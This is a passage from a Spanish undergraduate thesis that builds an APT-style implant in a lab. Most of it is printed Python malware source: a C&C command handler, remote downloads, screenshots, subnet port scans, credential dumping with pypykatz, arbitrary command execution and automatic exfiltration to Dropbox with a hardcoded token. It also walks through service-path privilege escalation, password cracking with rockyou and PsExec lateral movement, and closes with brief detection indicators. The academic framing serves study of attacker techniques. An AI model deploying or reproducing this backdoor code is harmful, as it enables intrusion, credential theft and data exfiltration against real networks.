desde el C&C a la máquina infectada. Método uploadFromCnC descrito en (4.11).   1elif command [ : 6 ] == "upload" : 2uploadFromCnC (command [ 7 : ] , command [7:])   Listing 4.24: Código fuente del método shell() get (url): descarga el archivo de la url en la máquina infectada. Una vez descargado se envía un mensaje de respuesta dependiendo de si el comando ha tenido éxito o no.   1elif command [ : 3 ] == "get" : 2try : 3webDownload (command [4:]) 4sendResponse ("[+] File downloaded" ) 5except : 6sendResponse ("[!!] Download fail" )   Listing 4.25: Código fuente del método shell()   1def webDownload (url ) : 2get_response =requests .get (url ) 3file_name =url .split ("/") [ -1] 4with open (file_name ,"wb" )as out_file : 5out_file .write (get_response .content )   Listing 4.26: Código fuente del método webDownload() screenshot: realiza una captura de pantalla, se la envía al C&C y la borra del equipo.   1elif command [ : 1 0 ] == "screenshot" : 2try : 3screenshot ( ) 4downloadToCnC ("monitor -1.png" ) 5os .remove ("monitor -1.png" ) 6except : 7sendResponse ("[!!] Failed to take screenshot" )   Listing 4.27: Código fuente del método shell()   1def screenshot ( ) : 2with mss ( ) as screenshot : 3screenshot .shot ( )   Listing 4.28: Código fuente del método screenshot() check: comprueba si la sesión actual tiene permisos de administrador. El método que se usa para comprobarlo es intentar acceder a carpetas que solo pueden ser accedidas por el administrador. Si no es posible acceder con los permisos actuales es que no se tienen permisos de administrador.   1elif command [ : 5 ] == "check" : 2try : 3is_admin ( ) 4sendResponse (admin ) 5except : 6sendResponse ("Cant perform privileges check" )   Listing 4.29: Código fuente del método shell() Página 28 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021   1def is_admin ( ) : 2global admin 3try : 4temp =os .listdir (os .sep .join ( [ os .environ .get (’SystemRoot’ ,’C:\windows’ ) ,’temp’ ] ) ) 5except : 6admin ="[!!] User Privileges!" 7return False 8else : 9admin ="[+] Admin Privileges!" 10 return True   Listing 4.30: Código fuente del método is_admin() start: inicia un programa instalado en el sistema. Un ejemplo de esto puede ser start calc, lo que iniciaría la calculadora del sistema.   1elif command [ : 5 ] == "start" : 2try : 3subprocess .Popen (command [ : 6 ] , shell=True ) 4sendResponse ("[+] %s started" %str (command [ : 6 ] ) ) 5except : 6sendResponse ("[!!] Failed to start" )   Listing 4.31: Código fuente del método shell() pingSweep: inicia un escaneo de pings por los equipos de la subred. En este apartado solo se explica la funcionalidad del backdoor, en el apartado 4.7 se explica en detalle cómo se hace el escaneo de puertos.   1elif command [ : 9 ] == "pingSweep" : 2try : 3pingSweep ( ) 4sendResponse (str (upPcs ) ) 5except Exception as e : 6print (e) 7sendResponse ("[!!] Failed to make ping scan" )   Listing 4.32: Código fuente del método shell() commonScan: lanza un escaneo de los puertos más comunes a los equipos activos de la subred y envía al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en el apartado 4.7.   1elif command [ : 1 0 ] == "commonScan" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5commonPorts ( ) 6with open (tempFolder+"portScan.txt" ,"rb" )as f : 7sendResponse (f.read ( ) ) 8f.close ( ) 9os .remove (tempFolder+"portScan.txt" ) 10 except : 11 sendResponse ("[!!] Failed to make common ports scan" )   Listing 4.33: Código fuente del método shell() dnsScan: comprueba qué equipos de la subred tienen el puerto DNS (nº 53) abierto y envía al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en el apartado 4.7. Página 29 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021   1elif command [ : 7 ] == "dnsScan" : 2try : 3dnsScan ( ) 4with open (tempFolder+"dnsServers.txt" ,"rb" )as f : 5sendResponse (f.read ( ) ) 6f.close ( ) 7os .remove (tempFolder+"dnsServers.txt" ) 8except : 9sendResponse ("[!!] Failed to make dns scan" )   Listing 4.34: Código fuente del método shell() netFolders: lista los recursos accesibles de los equipos activos de la subred y envía al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en el apartado 4.7.   1elif command [ : 1 0 ] == "netFolders" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5netFolders ( ) 6with open (tempFolder+"networkFolders.txt" ,"rb" )as f : 7sendResponse (f.read ( ) ) 8f.close ( ) 9os .remove (tempFolder+"networkFolders.txt") 10 except : 11 sendResponse ("[!!] Failed to make network folders scan" )   Listing 4.35: Código fuente del método netFolders() fullScan: inicia un escaneo de todos los puertos de todos los equipos activos de la subred y envía al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en el apartado 4.7.   1elif command [ : 8 ] == "fullScan" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5fullScan ( ) 6with open (tempFolder+"fullPortScan.txt" ,"rb" )as f : 7sendResponse (f.read ( ) ) 8f.close ( ) 9os .remove (tempFolder+"fullPortScan.txt" ) 10 except : 11 sendResponse ("[!!] Failed to make full scan" )   Listing 4.36: Código fuente del método shell() dumpCreds: intenta obtener los hashes de las contraseñas de los usuarios del dominio y de la sesión actual. Su funcionamiento se detalla en el apartado 4.8 en el código 4.72.   1elif command [ : 9 ] == "dumpCreds" : 2try : 3result =dumpCreds ( ) 4sendResponse (result ) 5except : 6sendResponse ("[!!] Failed to get credentials" )   Listing 4.37: Código fuente del método shell() Página 30 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 4result =str (upPcs ) 5except : 6result ="[!!] Failed to make ping scan"   Listing 4.52: Código fuente del método runCommand() commonScan: lanzará un escaneo de los puertos más comunes a los equipos activos de la subred y almacenará el resultado en la variable ”result”. Su funcionamiento se detalla en la sección 4.7.   1elif command [ : 1 0 ] == "commonScan" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5commonPorts ( ) 6uploadDropbox (tempFolder ,"portScan.txt" ) 7os .remove (tempFolder+"portScan.txt" ) 8result ="[+] Scann uploaded" 9except : 10 result ="[!!] Failed to make common ports scan"   Listing 4.53: Código fuente del método runCommand() dnsScan: lanzará un escaneo del puerto DNS a todos los equipos de la subred y almacenará el resultado en la variable ”result”. Su funcionamiento se detalla en la sección 4.7.   1elif command [ : 7 ] == "dnsScan" : 2try : 3dnsScan ( ) 4uploadDropbox (tempFolder ,"dnsServers.txt" ) 5os .remove (tempFolder+"dnsServers.txt" ) 6result ="[+] Scann uploaded" 7except : 8result ="[!!] Failed to make dns scan"   Listing 4.54: Código fuente del método runCommand() netFolders: lista los recursos accesibles de los equipos activos de la subred y almacena el resultado en la variable ”result”. Su funcionamiento se detalla en el apartado 4.7.   1elif command [ : 1 0 ] == "netFolders" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5netFolders ( ) 6uploadDropbox (tempFolder ,"networkFolders.txt") 7os .remove (tempFolder+"networkFolders.txt") 8result ="[+] Scann uploaded" 9except : 10 result ="[!!] Failed to make network folders scan"   Listing 4.55: Código fuente del método netFolders() fullScan: lanzará un escaneo de todos los puertos a los equipos activos de la subred y almacenará el resultado en la variable ”result”. Su funcionamiento se detalla en la sección 4.7. Página 37 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021   1elif command [ : 8 ] == "fullScan" : 2try : 3if len (upPcs ) == 0: 4pingSweep ( ) 5fullScan ( ) 6uploadDropbox (tempFolder ,"fullPortScan.txt" ) 7os .remove (tempFolder+"fullPortScan.txt" ) 8result ="[+] Scann uploaded" 9except : 10 result ="[!!] Failed to make full scan"   Listing 4.56: Código fuente del método runCommand() Comando nativo: ejecutará el comando como si fuese uno nativo del sistema.   1else : 2proc =subprocess .Popen (command ,shell=True , 3stdout=subprocess .PIPE ,stderr=subprocess .PIPE , 4stdin=subprocess .PIPE ) 5result =proc .stdout .read ( ) + proc .stderr .read ( ) 6 7try : 8result =result .decode (’utf -8’ ) 9except : 10 result =result .decode (’latin1 ’ ) 11 pass 12 result =result .rstrip ( ) . replace ("\n" ,"" ) 13 14 saveResult (command ,result )   Listing 4.57: Código fuente del método runCommand() Finalmente en el método checkCommands(), una vez se han ejecutado los comandos, subimos los resultados a la nube y borramos el archivo que contiene los comandos.   1i+= 1 2 3uploaded =uploadDropbox (tempFolder ,"result.txt" ) 4 5# Si no se han subido correctamente se reintenta 6for iin range (1 ,3) : 7if not uploaded : 8time .sleep (2) 9if not uploaded : 10 uploaded =uploadDropbox (tempFolder ,’result.txt’ ) 11 12 os .remove (tempFolder+"result.txt" ) 13 14 if uploaded == True : 15 dbx .files_delete (path="/"+macAdd+"/"+username+"/commands.txt" )   Listing 4.58: Código fuente del método checkCommands() Una vez finalizada esta fase, procedemos con la fase de reconocimiento. Página 38 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.11: Diagrama de flujo de la fase backdoor 4.6.2. Experimento Fase de Backdoor En esta sección se mostrará en caso práctico de cómo la APT hace la conexión con el servidor de C&C y envía y recibe comandos. A continuación de muestra el equipo donde se ejecuta el malware: Figura 4.12: Captura del equipo WINDOWS01 - Fase Backdoor Una vez realizada la persistencia y actualización, la APT intentará conectarse al servidor. En este ejemplo, nos llega una conexión desde el equipo 192.168.1.1 y el puerto 61643. Ahora que tenemos la sesión, podemos ejecutar comandos nativos. Tenemos disponibles una serie Página 39 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 de comandos que podemos ver con el comando ”help”, como ”check” que comprueba el nivel de permisos que tenemos. En este ejemplo, no tenemos permisos de administrador. Figura 4.13: Captura de los equipos WINDOWS01 y Kali - Fase Backdoor También podemos tomar capturas de pantalla del equipo infectado. Figura 4.14: Captura de los equipos WINDOWS01 y Kali - Fase Backdoor Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son: Página 40 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Backdoor Nombre de la técnica ID de la técnica Command and Control TA0011 Encrypted Channel: Symmetric Cryptography T1573.001 Non-Standard Port T1571 Cuadro 4.3: Técnicas empleadas en backdoor 4.7. Reconocimiento En esta fase se busca recoger información de los equipos de la red interna, si están activos y, en ese caso, qué puertos tienen abiertos. Lo que haremos será hacer pings a los equipos de la red para ver si están activos y luego probaremos a conectarnos a sus puertos. Posteriormente recogeremos información del sistema usando diferentes comandos nativos. Finalmente exfiltraremos los datos obtenidos a la nube. Para esto, usaremos las siguientes técnicas de la matriz MITRE: Gather Victim Network Information (T1590): Usaremos comandos nativos del sistema operativo Windows para recoger información de los equipos de la red, los puertos que tiene abiertos y si tienen carpetas de red disponibles. Gather Victim Host Information (T1592): Usaremos comandos nativos del sistema operativo Windows para obtener los usuarios, versión instalada o antivirus. Active Scanning (T1595): Realizaremos escaneos activos en la subred para obtener información que luego nos pueda servir para escalar privilegios o propagarnos por la red. 4.7.1. Código y desarrollo Para obtener esta información ejecutaremos los siguientes comandos: Información del sistema: recolectaremos información usando comandos nativos del sistema. Los comandos ejecutados son los siguientes: • whoami: Muestra el nombre de usuario del usuario que lo lanzó. • systeminfo: Muestra información sobre el sistema. • net localgroup: Muestra los grupos de usuarios del sistema local. • net localgroup Administradores/Administrators: Muestra los usuarios locales administradores. • net user: Muestra los usuarios del sistema. • net groups: Muestra los grupos de usuarios del dominio. • net user /domain: Muestra los usuarios del dominio. • net group /domain ”Admins. del dominio”/”Domain Admins”: Muestra los usuarios administradores del dominio. • net accounts: Muestra la configuración de las políticas de contraseñas y cuentas. • net share: Muestra las carpetas compartidas accesibles del sistema local. • nltest /dsgetdc:%userdomain %: Muestra información del dominio. • klist tickets: Muestra los tickets de Kerberos que tenemos asignados. Página 41 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 • tasklist /v: Muestra los grupos de usuarios del sistema local. • Antivirus instalados: para obtener esta información usaremos el siguiente comando de powershell:   1powershell .exe Get -CimInstance -Namespace root /SecurityCenter2 -ClassName AntivirusProduct   Listing 4.59: Comando para enumerar antivirus El método que implementa esta funcionalidad es sysinfo(). Ejecutamos todos los comandos y guardamos los resultados de su ejecución en el archivo sys.txt.   1def sysinfo ( ) : 2global scanned 3global admin 4 5sysFile =open (tempFolder+"sys.txt" ,"w") 6 7is_admin ( ) 8sysFile .write (admin+"\n\n") 9 10 commands = [ ] 11 #https :// jdhitsolutions.com/blog/powershell /5187/ get -antivirus -product -status -with -powershell / 12 antivCmd ="powershell.exe Get -CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct" 13 14 15 commands = [ "whoami" ,"systeminfo" ,"net localgroup" , 16 "net localgroup Administradores" ,"net localgroup Administrators" , 17 "net user" ,"net groups" ,"net user /domain" , 18 ’net group /domain "Admins. del dominio"’ , 19 ’net group /domain "Domain Admins"’ ,"tasklist /v" ,"net accounts" , 20 antivCmd ,"nltest /dsgetdc: %userdomain %" ,"klist tickets" ,"tree C:/" ] 21 22 23 24 for cin commands : 25 result ="none" 26 try : 27 proc =subprocess .Popen (c,shell=True , 28 stdout=subprocess .PIPE ,stderr=subprocess .PIPE ,stdin=subprocess .PIPE ) 29 result =proc .stdout .read ( ) + proc .stderr .read ( ) 30 31 try : 32 result =result .decode (’utf -8’ ) 33 except : 34 result =result .decode (’latin1 ’ ) 35 pass 36 37 sysFile .write ("Command: "+c+"\n\n") 38 sysFile .write (result ) 39 sysFile .write ("\n") 40 sysFile .write ("#####################################") 41 sysFile .write ("#####################################\n") 42 except : 43 pass   Listing 4.60: Código fuente del método sysinfo() Una vez hecho esto, subimos el archivo a la nube y lo borramos del sistema.   1sysFile .close ( ) 2 3uploaded =uploadDropbox (tempFolder ,"sys.txt" ) 4 Página 42 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 5 6# Si no se han subido correctamente se reintenta 7for iin range (1 ,3) : 8if not uploaded : 9time .sleep (2) 10 if not uploaded : 11 uploaded =uploadDropbox (tempFolder ,’sys.txt’ ) 12 13 if not uploaded : 14 scanned =False 15 16 os .remove (tempFolder+’sys.txt’ )   Listing 4.61: Código fuente del método sysinfo() Escaneo de pings: este tipo de escaneo hará un ping a todos los equipos que estén en la misma subred que el equipo infectado y guardará en la variable global upPcs aquellas IPs que manden un mensaje de respuesta. En caso de que ningún equipo haya respondido al escaneo de ping (solo nuestro equipo cuando hacemos ping a nuestra IP) podemos asumir que se están bloqueando y marcamos todas las posibles IPs como activas para futuros escaneos.   1def pingSweep ( ) : 2global subnet 3global upPcs 4for iin range (0 , 255) : 5target_ip =subnet +str (i) 6response =ping (target_ip ,timeout=0.01) 7 8if str (response ) != "None" : 9upPcs .append (target_ip ) 10 # si el ping esta bloqueado por el firewall 11 # asumimos que todos los equipos estan activos 12 if len (upPcs ) < 2: 13 upPcs = [ ] 14 for iin range (0 , 255) : 15 target_ip =subnet +str (i) 16 upPcs .append (target_ip )   Listing 4.62: Código fuente del método pingSweep() Escaneo de puertos más comunes: este escaneo intentará conectarse a los equipos activos, almacenados en la variable global upPcs, a través de los puertos más comunes. Los puertos que se contemplan en este método son los puertos 21(ftp), 22(ssh), 23(telnet), 53(DNS), 80(http), 443(https), 445(smb) y 3389(rdp). Los resultados se guardarán en el fichero portScan.txt.   1# COMMON PORT SCAN 2def commonPorts ( ) : 3global upPcs 4 5(1) scanFile =open (tempFolder+"portScan.txt" ,"w") 6s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 7try : 8# 21(ftp) ,22( ssh) ,23( telnet) ,53(DNS) ,80( http) ,443( https) ,445(smb) ,3389( rdp) 9commonPorts = [21,22,23,53,80,443,445,3389] 10 11 #para cada pc activo intentamos conectarnos a los puertos mas comunes 12 for pc in upPcs : 13 scanFile .write ("IP: %s \n" %pc ) Página 43 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 14 for port in commonPorts : 15 (2) s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 16 s.settimeout (0.5) 17 connection =s.connect_ex ( ( pc ,port ) ) 18 19 if (connection == 0) : 20 scanFile .write ("\t %d OPEN \n" %port ) 21 s.close ( ) 22 except : 23 pass 24 25 (3) scanFile .close ( ) 26 s.close ( )   Listing 4.63: Código fuente del método commonPorts() Primero, (1) abrimos el fichero en que vamos a guardar los resultados e instanciamos un socket para realizar las conexiones con los equipos. Después, (2) para cada equipo guardado en la variable upPcs intentamos conectarnos a cada uno de los puertos guardados en la variable commonPorts. Si la conexión tiene éxito se guarda en el fichero el puerto encontrado y posteriormente se cierra la conexión. Una vez hemos terminado, (3) cerramos el socket y el fichero con los resultados. Escaneo de DNS: este método se ocupará de buscar servidores DNS en la subred. Al contrario que otros métodos, no usará la variable upPcs para evitar posibles cortafuegos e intentará conectarse al puerto 53(DNS) de todos los equipos posibles de la subred. Los resultados se guardarán en el fichero dnsServers.txt.   1# DNS SERVERS SEARCH 2def dnsScan ( ) : 3global subnet 4 5(1) scanFile =open (tempFolder+"dnsServers.txt" ,"w") 6s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 7try : 8for iin range (0 , 255) : 9(2) target_ip =subnet +str (i) 10 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 11 s.settimeout (0.5) 12 connection =s.connect_ex ( ( target_ip ,53) ) 13 14 if (connection == 0) : 15 scanFile .write ("DNS server: %s \n" %target_ip ) 16 s.close ( ) 17 18 except : 19 pass 20 21 (3) scanFile .close ( ) 22 s.close ( )   Listing 4.64: Código fuente del método dnsScan() Primero, (1) abrimos el fichero en que vamos a guardar los resultados e instanciamos un socket para realizar las conexiones con los equipos. Después, (2) para cada equipo de la subred intentamos conectarnos al puerto 53. Si la conexión tiene éxito se guarda en el fichero el equipo encontrado y posteriormente se cierra la conexión. Una vez hemos terminado, (3) cerramos el socket y el fichero con los resultados. Página 44 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Escaneo completo: en este caso se hará un escaneo de todos los puertos de los equipos guardados en la variable upPcs y los resultados se guardarán en el fichero fullPortScan.txt.   1# COMPLETE SCAN 2def fullScan ( ) : 3global upPcs 4 5(1) scanFile =open (tempFolder+"fullPortScan.txt" ,"w") 6s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 7try : 8for pc in upPcs : 9scanFile .write ("IP: %s \n" %pc ) 10 for port in range (0,65535): 11 (2) s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 12 s.settimeout (0.5) 13 connection =s.connect_ex ( ( pc ,port ) ) 14 15 if (connection == 0) : 16 scanFile .write ("\t %d OPEN \n" %port ) 17 s.close ( ) 18 19 except : 20 pass 21 22 (3) scanFile .close ( ) 23 s.close ( )   Listing 4.65: Código fuente del método fullScan() El funcionamiento es muy similar al de métodos anteriores. Primero, (1) abrimos el fichero en que vamos a guardar los resultados e instanciamos un socket para realizar las conexiones con los equipos. Después, (2) para cada equipo guardado en la variable upPcs intentamos conectarnos todos los puertos posibles, desde el puerto 1 al 65535. Si la conexión tiene éxito se guarda en el fichero el puerto encontrado y posteriormente se cierra la conexión. Una vez hemos terminado, (3) cerramos el socket y el fichero con los resultados. Escaneo de carpetas de red: este escaneo obtendrá la lista de recursos accesibles de cada uno de los equipos activos en la red con el comando net view \\IP. Los resultados se guardarán en el fichero networkFolders.txt.   1def netFolders ( ) : 2global subnet 3global upPcs 4output ="" 5 6scanFile =open (tempFolder+"networkFolders.txt" ,"w") 7try : 8for pc in upPcs : 9 10 proc =subprocess .Popen ("net view \\\\"+pc ,shell=True ,stdout=subprocess .PIPE ,stderr= subprocess .PIPE ,stdin=subprocess .PIPE ) 11 result =proc .stdout .read ( ) + proc .stderr .read ( ) 12 13 try : 14 result =result .decode (’utf -8’ ) 15 except : 16 result =result .decode (’latin1 ’ ) 17 pass Página 45 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 18 19 scanFile .write (result ) 20 scanFile .write ("\n#####################################") 21 scanFile .write ("#####################################\n") 22 except : 23 pass 24 25 scanFile .close ( )   Listing 4.66: Código fuente del método netFolders() 4.7.2. Experimento Fase de Reconocimiento En esta sección se mostrará en caso práctico de cómo la APT hace el reconocimiento de la red y de los equipos y exfiltra los resultados a Dropbox. Después de intentar establecer una conexión con C&C, se inciará un escaneo de pings, de puertos más comunes y carpetas de red disponibles. Una vez finalizados se subirán a la nube los resultados. Figura 4.15: Captura del equipo WINDOWS01 - Fase Reconocimiento Posteriormente, se obtendrá información del equipo en el archivo sys.txt. También se subirá a la nube cuando haya finalizado. Página 46 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 7result =e 8try : 9lr =OffineRegistry .from_live_system ( ) 10 except Exception as e : 11 result =e 12 pass 13 pass 14 result =str (lr ) 15 return result   Listing 4.72: Código del método dumpCreds() Este método usará la integración de python de mimikatz, llamada pypykatz, para obtener los hashes de las contraseñas de los usuarios del dominio y de la sesión actual. 4.8.2. Experimento Fase de Escalado Primero, lo que haremos será buscar los servicios que no tengan el path entrecomillado. Este tipo de servicios pueden ser vulnerables a secuestro de servicio. Usaremos el siguiente comando: Figura 4.25: Captura de Kali - Fase Escalado Como podemos ver, existe un ”Servicio Vulnerable” cuya ruta no está entrecomillada. Lo siguiente será buscar información del servicio y ver si tenemos permisos de escritura en alguno de las carpetas del PATH. Figura 4.26: Captura de Kali - Fase Escalado En la figura 4.26 vemos que tenemos permisos de escritura en la carpeta ”C:\Program Página 53 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Files\1 Subcarpeta” por lo que, si copiamos nuestro ejecutable en esa carpeta con el nombre 2.exe, una vez se reinicie la máquina secuestraremos el servicio y escalaremos privilegios. Figura 4.27: Captura de Kali y WINDOWS01 - Fase Escalado Una vez reiniciamos la máquina obtenemos un shell con permisos de administrador y el usuario ”nt authority\system”. Figura 4.28: Captura de Kali y WINDOWS01 - Fase Escalado Ahora que tenemos permisos de administrador podemos obtener los hashes con el método y comando ”dumpCreds”. Página 54 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.29: Captura de Kali - Fase Escalado Después pasaremos los hashes a un fichero y los crackearemos usando john. Figura 4.30: Captura de Kali - Fase Escalado Para que sea más rápido usaremos el diccionario de contraseñas ”rockyou.txt”. A continuación se muestran las contraseñas crackeadas. Figura 4.31: Captura de Kali - Fase Escalado Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son: Página 55 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Escalado Nombre de la técnica ID de la técnica Path Interception by Unquoted Path T1574.009 OS Credential Dumping T1003 Cuadro 4.5: Técnicas empleadas en escalado de privilegios 4.9. Movimientos laterales En esta fase se busca que la APT sea capaz de propagarse por la red a otros equipos. Es por esto que haremos uso de carpetas compartidas y de la herramienta PsExec. Esta última es una herramienta del paquete de Sysinternals de Microsoft. Este paquete contiene programas que ayudan a realizar tareas de administración, como ejecución de comandos remotos en otros equipos. Al ser una herramienta firmada por Microsoft no llamará la atención de las herramientas antimalware. Para esto, usaremos las siguientes técnicas de la matriz MITRE: Data from Network Shared Drive (T1039): copiaremos nuestra APT a una carpeta compartida de la red para luego ejecutarla remotamente en otro sistema. Remote Services: SMB/Windows Admin Shares (T1021.002): para ejecutar remotamente nuestra APT desde una carpeta compartida usaremos la herramienta PsExec y las credenciales obtenidas en la fase de escalado. En esta fase del experimento ya hemos obtenido las credenciales de los usuarios y las usaremos para intentar ejecutar comandos remotos en otras máquinas disponibles en la subred. Para esta fase no se ha preparado ninguna función en el código. Esto se debe a que podemos encontrarnos con una gran variedad de sistemas que podemos infectar con distinto software y configuración. Es por esto que, en caso necesario, podemos usar scripts o ejecutables en las máquinas infectadas para cumplir nuestros objetivos. 4.9.1. Experimento Fase de Movimientos laterales Como primer paso, montaremos el volumen \\192.168.5.21\secreto que hemos visto en la fase de reconocimiento para que sea más accesible. Página 56 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.32: Demo Después, navegaremos a nuestra carpeta temporal y subiremos el archivo ”PsExec.exe”, que es la herramienta que usaremos para ejecutar comandos remotos en otros equipos. Una vez hecho esto, copiamos la APT a la carpeta compartida que tenemos en el volumen ”W:\”. Para usar PsExec.exe necesitamos saber el nombre del equipo de la 192.168.5.21 que, como hemos visto en la fase de reconocimiento, es ”SERVER”. Esto lo podríamos ver con el siguiente comando:   1nbstat -A10.0.0.4   Listing 4.73: Comando nbstat Página 57 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Figura 4.33: Demo Ahora que tenemos todo listo, lanzamos el comando PsExec con las credenciales crackeadas y la ruta donde hemos subido nuestra APT. Usaremos el siguiente comando:   1PsExec .exe /accepteula \ \ { ordenador }-u{dominio } \ { usuario }-p{clave de usuario }-i-c cmd .exe "/C { ruta del exe}"   Listing 4.74: Comando psexec Figura 4.34: Demo Figura 4.35: Demo Lamentablemente, no está habilitada la ejecución remota en el equipo ”SERVER”. Además, ninguno de los usuarios de los que tenemos credenciales son administrador, por lo que no podremos ejecutar comandos en el ”SERVER”, que es el DC (Controlador de Dominio). Tendremos que seguir esperando la oportunidad para saltar a otro equipo de la red. Página 58 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son: Movimientos laterales Nombre de la técnica ID de la técnica SMB/Windows Admin Shares T1021.002 Data from Network Shared Drive T1039 Cuadro 4.6: Técnicas empleadas en movimientos laterales 4.10. Exfiltración En esta fase se busca enviar la información obtenida del sistema y de la subred a nuestra carpeta de la nube. Para esto, usaremos las siguientes técnicas de la matriz MITRE: Exfiltration Over Web Service (T1567): usaremos la API de Dropbox, que usa HTTPS y TLS para cifrar las comunicaciones, para exfiltrar los datos recogidos. Automated Exfiltration (T1020): el envío de datos a la nube se realizará de manera automática cada vez que se ejecute un comando recibido de la nube. 4.10.1. Código y desarrollo Para obtener esta información, se ha empleado la API de dropbox. Su funcionamiento es muy directo y sólo es necesario un token de autenticación para poder descargar y subir archivos.   1# Token y componente dropbox para subir y descargar archivos 2token =’YIFORX6OS-IAAAXZAAAS3jXdasawARafaaey_JdsvlyfcasrhDFJTdnZgdRBUmfhzI4’ 3dbx =dropbox .Dropbox (token )   Listing 4.75: Inicialización de la variable de dropbox Para gestionar la subida de archivos tenemos el método uploadDropbox(). Primero leeremos el archvio en bytes (1) y después subiremos el archivo con el método de la API files_upload() (2). En este método crearemos dos carpetas, una carpeta principal con el nombre de la dirección MAC del equipo y una subcarpeta con el nombre del usuario que está ejecutando el script, y subiremos la información a la subcarpeta.   1def uploadDropbox (filepath ,filename ) : 2global macAdd 3global username 4 5try : 6username =getpass .getuser ( ) 7(1) with open (filepath+filename ,’rb’ )as file : 8uploadFile =file .read ( ) 9 10 (2) dbx .files_upload (uploadFile ,’/’+macAdd+’/’+username+’/’+filename , 11 mode=dropbox .files .WriteMode .overwrite ) 12 return True 13 except Exception as e : Página 59 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 14 print (e) 15 return False   Listing 4.76: Código fuente del método uploadDropbox() Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son: Exfiltración Nombre de la técnica ID de la técnica Exfiltration Over Web Service T1567 Automated Exfiltration T1020 Cuadro 4.7: Técnicas empleadas en exfiltración 4.11. Contramedidas de detección En esta sección se enumeran algunos posibles eventos que, de ser detectados, harían más sencilla la detección de la APT descrita en este trabajo: Escaneos de red: varias peticiones de paquetes ICMP a equipos de la red puede indicar que se está realizando un escaneo en la red para ver qué equipos están activos. Modificación de registros: Los registros del sistema pueden permitir a un atacante lanzar un programa al inicio de una sesión. De esta manera, un posible malware podría activarse cada vez que se activa el equipo y así conseguir persistencia en el sistema. Descarga de archivos ejecutables: La descarga de archivos ejecutables de la red podría indicar que un malware se está actualizando o descargando alguna herramienta para cumplir sus objetivos. Servicios de nube: Las conexiones a servicios de nube como pueden ser Dropbox, Onedrive o Mediafire pueden indicar que un malware está intentando acceder a un servidor de C&C ya sea para exfiltrar información u obtener instrucciones. Información del sistema: El acceso a información del sistema, como enumerar las características del sistema, información del usuario o listar los usuarios administradores del dominio; pueden indicar que un malware está haciendo un reconocimiento del dispositivo para luego explotar sus vulnerabilidades. Utilidades Sysinternal: La descarga de utilidades de Sysinternals de Microsoft, como puede ser la herramienta procdump oPsExec, a pesar de ser software firmado puede emplearse para obtener credenciales de usuarios. Página 60 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 Capítulo 5 Conclusiones y posibles mejoras Tras la realización del proyecto realizaremos un resumen sobre las conclusiones obtenidas. Además, comentaremos posibles futuras ampliaciones que se pueden llevar a cabo para mejorar el proyecto. 5.1. Conclusiones Durante la realización de este trabajo de fin de grado hemos aprendido el funcionamiento y comportamiento de APTs mediante su desarrollo y experimentación en un laboratorio donde se ha realizado el experimento. A continuación se resume brevemente en varios puntos los objetivos conseguidos en el trabajo desarrollado: Se ha estudiado la documentación disponible sobre APTs. Se ha diseñado y desarrollado la funcionalidad de una APT. Se ha modelado y configurado un laboratorio de pruebas para realizar el experimento. Se ha realizado un experimento donde se ha puesto a prueba la funcionalidad desarrollada. Se han aprendido técnicas y métodos para comprometer sistemas. Se han afianzado algunos conocimientos vistos durante la carrera. Se ha estudiado e implementado el sistema de comunicación entre la APT y el C&C mediante el framework gRPC y Protocol Buffers. Se han explorado las diversas posibilidades de vulneración de sistemas y se han aplicado algunas de ellas. Se han utilizado varias librerías de python para extender la funcionalidad de la APT. Se han comprendido los fundamentos de las amenazas persistentes avanzadas. Se han estudiado las distintas arquitecturas de comunicación de ”Command and Control”. Se han estudiado varios mecanismos de seguridad del sistema operativo Windows. Se han aprendido cuáles son los mecanismos de detección del antivirus Windows Defender y cómo evitarlos. En este trabajo se han estudiado las distintas medidas de seguridad que implementa el sistema operativo Windows, por ejemplo, dejar que solo ciertas operaciones sean ejecutadas por un administrador y desde equipos concretos. También se han aprendido mecanismos que implementa Windows Defender para encontrar amenazas como son: hash del archivo, comportamiento, nombre, extensión... Por último, se han visto las ventajas de implementar como Página 61 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 método de comunicación gRPC y protocol buffers, como son el reducido tamaño de las comunicaciones, para evitar crear grandes picos de tráfico en 